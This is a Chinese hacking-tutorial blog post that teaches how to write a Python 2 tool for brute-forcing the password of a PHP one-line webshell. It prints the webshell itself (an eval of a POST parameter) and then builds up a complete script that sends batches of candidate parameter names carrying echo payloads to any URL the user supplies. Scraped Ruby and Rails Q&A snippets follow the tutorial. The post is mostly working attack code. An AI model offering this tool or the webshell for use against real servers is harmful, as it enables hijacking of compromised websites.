草庐IT

【PyHacker编写指南】爆破一句话密码

巡安似海 2023-03-28 原文

这节课是巡安似海PyHacker编写指南的编写漏洞POC

使用Python编写一句话密码爆破工具,解脱双手。

编写环境:Python2.x

 


 

00x1:

需要用到的模块如下:

import requests

00x2:

首先我们了解一下一句话木马,一般post传递参数

一个简单的php一句话木马

<?php
eval($_POST['x'])
?>
先测试一下连接

OK,没问题,我们用浏览器打开传参看一下

 

由此可以看到密码为x,变量提交能匹配上即执行echo语句

这时我猜大家都有了思路,构造post请求即可

 

00x3:

这里我们可以利用网址特性提交多个参数

 

这样可以提高爆破效率

分析完成,下面我们开始进行写脚本

 

00x4:

简单爆破shell密码,shell为字典

#!/usr/bin/python
#-*- coding:utf-8 -*-
import requests

def req(url,s):
    global html
    data = {s:'echo xc666;'}
    req = requests.post(url,data=data)
    html = req.content

shell = ['z','y','x']
for s in shell:
    req('http://127.0.0.1/shell.php',s)
    if 'xc666' in html:
        print "[+]Find password",s
        break

 

00x5:

下面我们按我们刚才说的,一次多个参数,增加效率

首先整理一下字典

data = {s:'echo %s;'%s,ss:'echo %s;'%ss}

shell = []
def shelllist():
    f = open('shell.txt','r')
    for x in f.readlines(): #去除换行等字符
        x = x.strip()
        shell.append(x)
    print u"shell密码个数为:",len(shell)
for i in range(0,len(shell),2): #分割列表
    b=shell[i:i+2]
    print b

 

我们一次性提交两个参数测试一下

def main():
    shelllist()
    for i in range(0,len(shell),2): #分割列表
        b=shell[i:i+2]
        req('http://127.0.0.1/shell.php',b[0],b[1])
        if b[0] in html:
            print "[+]Find password",b[0]
            break
        elif b[1] in html:
            print "[+]Find password", b[1]
            break
main()

 测试一下,一次执行两个密码

 

00x6:

完整代码:

一次爆破5次密码,可自行调整

#!/usr/bin/python
#-*- coding:utf-8 -*-
import requests

def req(url,s,ss,sss,ssss,sssss):
    global html
    data = {s:'echo xc666%s;'%s,
            ss:'echo xc666%s;'%ss,
            sss:'echo xc666%s;'%sss,
            ssss:'echo xc666%s;'%ssss,
            sssss:'echo xc666%s;'%sssss,}
    req = requests.post(url,data=data)
    html = req.content
    print req.url,s,ss,sss,ssss,sssss

shell = []
def shelllist():
    f = open('shell.txt','r')
    for x in f.readlines(): #去除换行等字符
        x = x.strip()
        shell.append(x)
    print u"\nshell密码个数为:",len(shell)

def main():
    shelllist()
    url = raw_input('\nshell url:')
    if 'http' not in url:
        url = 'http://'+url
    for i in range(0,len(shell),5): #分割列表
        b=shell[i:i+5]
        req(url,b[0],b[1],b[2],b[3],b[4])
        if "xc666%s"%b[0] in html:
            print "\n[+]Find password",b[0]
            break
        elif "xc666%s"%b[1] in html:
            print "\n[+]Find password", b[1]
            break
        elif "xc666%s"%b[2] in html:
            print "\n[+]Find password",b[2]
            break
        elif "xc666%s"%b[3] in html:
            print "\n[+]Find password", b[3]
            break
        elif "xc666%s"%b[4] in html:
            print "\n[+]Find password", b[4]
            break
if __name__ == '__main__':
    main()

 

喜欢的点个赞叭~

有关【PyHacker编写指南】爆破一句话密码的更多相关文章

  1. ruby - 在 Ruby 中编写命令行实用程序 - 2

    我想用ruby​​编写一个小的命令行实用程序并将其作为gem分发。我知道安装后,Guard、Sass和Thor等某些gem可以从命令行自行运行。为了让gem像二进制文件一样可用,我需要在我的gemspec中指定什么。 最佳答案 Gem::Specification.newdo|s|...s.executable='name_of_executable'...endhttp://docs.rubygems.org/read/chapter/20 关于ruby-在Ruby中编写命令行实用程序

  2. ruby - 用 Ruby 编写一个简单的网络服务器 - 2

    我想在Ruby中创建一个用于开发目的的极其简单的Web服务器(不,不想使用现成的解决方案)。代码如下:#!/usr/bin/rubyrequire'socket'server=TCPServer.new('127.0.0.1',8080)whileconnection=server.acceptheaders=[]length=0whileline=connection.getsheaders想法是从命令行运行这个脚本,提供另一个脚本,它将在其标准输入上获取请求,并在其标准输出上返回完整的响应。到目前为止一切顺利,但事实证明这真的很脆弱,因为它在第二个请求上中断并出现错误:/usr/b

  3. ruby-on-rails - 如何为空白字段编写 rspec? [Rails3.1] - 2

    我使用rails3.1+rspec和factorygirl。我对必填字段(validates_presence_of)的验证工作正常。我如何让测试将该事实用作“成功”而不是“失败”规范是:describe"Addanindustrywithnoname"docontext"Unabletocreatearecordwhenthenameisblank"dosubjectdoind=Factory.create(:industry_name_blank)endit{shouldbe_invalid}endend但是我失败了:Failures:1)Addanindustrywithnona

  4. ruby-on-rails - 在 Rails 中自定义 "Password confirmation doesn' t 匹配密码 - 2

    有没有办法在Rails中为确认字段自定义消息?例如在设计中我必须输入密码和password_confirmation并且错误消息是:Passwordconfirmationdoesn'tmatchPassword我可以更改事件记录语言环境消息(“不匹配”),但它会在该语言环境消息的开头和结尾输出密码确认和密码,所以我得到如下内容:"PasswordconfirmationmustmatchPassword"有没有办法将其更改为不同的字符串?PasswordconfirmationandPasswordmustmatch.编辑另一件事是拥有完全自定义的消息,例如:'Setpassword

  5. ruby-on-rails - 尝试为 Rails 中的用户名验证编写 REGEX - 2

    我正在尝试用Ruby(Rails)编写一个正则表达式,以便用户名的字符仅包含数字和字母(也没有空格)。我有这个正则表达式,/^[a-zA-Z0-9]+$/,但它似乎没有用,我在Rails中收到一个错误,说“The如果正则表达式使用多行anchor(^或$),这可能会带来安全风险。您是要使用\A和\z,还是忘记添加:multiline=>true选项?"我的user.rb模型中此实现的完整代码是:classUser我做错了什么以及如何修复此正则表达式,使其仅对数字和字母有效而不对空格有效?谢谢。 最佳答案 简短回答:使用/\A[a-z

  6. ruby-on-rails - 我如何比较 'Bcrypt' Gem解密的密码和加密的密码 - 2

    我正在尝试对某些帖子的评论使用简单的身份验证。用户使用即时ID和密码输入评论我使用“bcrypt”gem将密码存储在数据库中。在comments_controller.rb中像这样@comment=Comment.new(comment_params)bcrypted_pwd=BCrypt::Password.create(@comment.user_pwd)@comment.user_pwd=bcrypted_pwd当用户想要删除他们的评论时,我使用data-confirm-modalgem来确认数据在这部分,我必须解密用户输入的密码以与数据库中的加密密码进行比较我怎样才能解密密码,

  7. ruby-on-rails - 如何在记录更新期间从验证中排除密码字段? ( rails 3.0.4, ruby 1.9.2) - 2

    我有一个允许更新用户记录的表单。它包含:password和:password_confirmation字段,但我不希望在数据库中已存储加密密码时对它们运行验证。View文件中的字段:'ConfirmPassword'%>在互联网上搜索时,我发现了这段代码,我认为它是针对以前版本的Ruby/Rails的。(我会把它放在我的用户模型中。)validates_presence_of:password,:on=>create由于我的用户模型中密码验证的语法不同(如下),我对我需要的语法感到困惑。validates:password,:presence=>true,:confirmation=>

  8. ruby-on-rails - Devise 在更改密码后注销用户 - 2

    我正在使用devise,当用户更改密码时,网站会将他们注销。我在网上读到,添加sign_in可以解决问题但不起作用,并且当密码更改时用户会注销。这是我的代码if@user.errors[:base].empty?and@user.update_attributes(params[:user])sign_in(current_user,:bypass=>true)flash[:success]="Useraccounthasbeensuccessfullyupdated"redirect_toedit_user_path(params[:site_id],@user)elserender

  9. ruby-on-rails - 如何编写跨模型、 Controller 和 View 的 Rails mixin - 2

    为了减少我的小Rails应用程序中的代码重复,我一直致力于将我的模型之间的通用代码放入它自己的单独模块中,到目前为止一切顺利。模型的东西相当简单,我只需要在开头包含模块,例如:classIso这工作正常,但是现在,我将有一些Controller和View代码,这些代码也将在这些模型之间通用,到目前为止,我有这个用于我的可发送内容:#Thisisamodulethatisusedforpages/formsthatarecanbe"sent"#eitherviafax,email,orprinted.moduleSendablemoduleModeldefself.included(kl

  10. Ruby 和指南针路径与 yeoman 项目 - 2

    我安装了ruby​​、yeoman,当我运行我的项目时,出现了这个错误:Warning:Running"compass:dist"(compass)taskWarning:YouneedtohaveRubyandCompassinstalledthistasktowork.Moreinfo:https://github.com/gruUse--forcetocontinue.Use--forcetocontinue.我有进入可变session目标的路径,但它不起作用。谁能帮帮我? 最佳答案 我必须运行这个:geminstallcom

随机推荐